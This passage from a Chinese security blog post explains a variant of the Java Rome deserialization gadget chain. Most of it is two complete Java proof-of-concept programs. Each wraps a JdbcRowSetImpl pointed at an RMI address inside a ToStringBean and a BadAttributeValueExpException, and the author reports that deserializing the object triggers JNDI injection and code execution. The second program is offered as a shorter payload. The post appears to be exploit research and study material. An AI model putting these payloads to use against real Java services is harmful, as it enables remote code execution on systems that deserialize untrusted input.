所以前面的操作就是将这个数组类型的变量全部填满,然后都是null类型,但是我们想要不报错,就需要第一个值不为null:

image-20250416150756368

直接反射获取然后调用类函数修改即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Vector;

public class Main{
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName("rmi://127.0.0.1:1099/Hello");

        Vector obj = (Vector)getFieldValue(rs, "strMatchColumns");
        obj.insertElementAt("fupanc",0);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        ToStringBean x1 = new ToStringBean(JdbcRowSetImpl.class,rs);

        setFieldValue(bad,"val",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Class clazz = obj.getClass();

        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);

                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
}

调试发现可以让这个方法就不会扔出异常了,并且这个方法过后就是我们想要利用的getDatabaseMetaData()方法:

image-20250416151857851

然后再打jndi注入成功弹出计算机。

后面看了一下网上的分析文章,发现其实JdbcRowSetImpl类自己定义了一个类用来给strMatchColumns变量进行改值:

image-20250416151610946

跟进set()方法:

image-20250416151632238

也是一个改值的操作,并且刚好是我们需要改的下标0的值,所以如下打也是可以的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName("rmi://127.0.0.1:1099/Hello");
        rs.setMatchColumn("fupanc");

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        ToStringBean x1 = new ToStringBean(JdbcRowSetImpl.class,rs);

        setFieldValue(bad,"val",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

更简短的payload。

参考文章:

https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Rome%E9%93%BE%E4%B9%8BHotSwappableTargetSource%E9%93%BE/

https://goodapple.top/archives/1145

https://boogipop.com/2024/02/12/%E6%98%93%E6%87%82%E7%9A%84Rome%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%88%E6%9B%B4%E6%96%B0%EF%BC%89/#HotSwappableTargetSource%E5%88%A9%E7%94%A8%E9%93%BE

https://xz.aliyun.com/news/12729

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计